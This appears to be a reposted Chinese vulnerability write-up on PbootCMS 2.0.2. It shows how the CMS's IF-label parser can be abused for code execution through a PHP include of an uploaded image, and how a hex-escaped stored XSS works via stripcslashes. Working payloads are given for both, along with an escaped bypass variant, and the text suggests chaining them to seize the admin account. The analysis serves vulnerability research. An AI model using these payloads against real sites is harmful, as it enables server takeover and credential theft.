前言
看完师傅分析的pbootcms1.2.1版本getshell文章,其主要讲述了前台代码执行,原笔者继续分析有了这篇文章
后台代码执行
[出自:jiwo.org]
下载最新版本cms,
apps/home/controller/ParserController.php中的parserIfLabel函数的实现代码如下
// 解析IF条件标签
public function parserIfLabel($content)
{
$pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
$pattern2 = '/pboot:([0-9])+if/';
if (preg_match_all($pattern, $content, $matches)) {
$count = count($matches[0]);
for ($i = 0; $i < $count; $i ++) {
$flag = '';
$out_html = '';
$danger = false;
$white_fun = array(
'date',
'in_array',
'explode',
'implode'
);
// 还原可能包含的保留内容,避免判断失效
$matches[1][$i] = $this->restorePreLabel($matches[1][$i]);
// 解码条件字符串
$matches[1][$i] = decode_string($matches[1][$i]);
// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 不允许从外部获取数据
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i', $matches[1][$i])) {
$danger = true;
}
// 如果有危险函数,则不解析该IF
if ($danger) {
continue;
}
eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else
switch ($flag) {
case 'if': // 条件为真
if (isset($matches2[1])) {
$out_html = $matches2[1];
}
break;
case 'else': // 条件为假
if (isset($matches2[2])) {
$out_html = $matches2[2];
}
break;
}
} elseif ($flag == 'if') {
$out_html = $matches[2][$i];
}
// 无限极嵌套解析
if (preg_match($pattern2, $out_html, $matches3)) {
$out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html);
$out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html);
$out_html = $this->parserIfLabel($out_html);
}
// 执行替换
$content = str_replace($matches[0][$i], $out_html, $content);
}
}
return $content;
}
可以看到在2467行对eval函数进行了过滤,此时想到可以利用include来包含图片执行代码。
1 php > var_dump(function_exists("include"));
2 bool(false)
可以看到include也是返回false。
上传图片。
这里的路径也可以看到。
接下来构造payload,
1 {pboot:if(include("./static/upload/image/20191013/1570972592462906.jpg"))}active{/pboot:if}
到网站首页留言处提交留言,然后到后台开启显示该留言,随后回到首页留言处刷新。
可以看到执行了代码
弯路
由于自己是在debug中调试代码的,所以在查看$matches数组的时候,就没有让他走完for循环,所以只看到了payload经过实体化的结果如图。(是很zz了.....)
然后就在尝试绕过。绕过的payload为。
{pboot:if(1\51include\50\42./static/upload/image/20191013/1570972592462906.jpg\42\51\73if\50true)}active{/pboot:if}
后面在看的时候才发现在第2462行对代码进行解码,解码函数如下
function decode_string($string)
{
if (! $string)
return $string;
if (is_array($string)) { // 数组处理
foreach ($string as $key => $value) {
$string[$key] = decode_string($value);
}
} elseif (is_object($string)) { // 对象处理
foreach ($string as $key => $value) {
$string->$key = decode_string($value);
}
} else { // 字符串处理
$string = stripcslashes($string);
$string = htmlspecialchars_decode($string, ENT_QUOTES);
}
return $string;
}
该函数会进行一次
htmlspecialchars_decode解码,所以会直接把"变为"。也就是在看这个解码函数的时候,发现了cms将留言从数据库取出的过程发现都会经过转码函数的处理。
存储XSS
在/PbootCMS2.0.2/core/function/handle.php中的decode_string函数下还有一个decode_slashes函数,代码如下
function decode_slashes($string)
{
if (! $string)
return $string;
if (is_array($string)) { // 数组处理
foreach ($string as $key => $value) {
$string[$key] = decode_slashes($value);
}
} elseif (is_object($string)) { // 对象处理
foreach ($string as $key => $value) {
$string->$key = decode_slashes($value);
}
} else { // 字符串处理
$string = stripcslashes($string);
}
return $string;
}
这里会用stripcslashes函数对字符串处理,该函数定义如下
该函数可以将字符串进行反转义,也就是可以把16进制转换为字符串。
跟踪该函数,可发现在此处调用
根据注释可以知道在内容输出处都会使用decode_slashes函数处理。
尝试xss,构造payload
1 x3cscript\x3ealert(\x221111111\x22)\x3b\x3c/script\x3e
将payload填入留言。
后台刷新页面可以看到,成功实现xss。
在没有后台的情况下,可以尝试利用xss获取后台管理员的身份,再配合上面的代码执行getshell。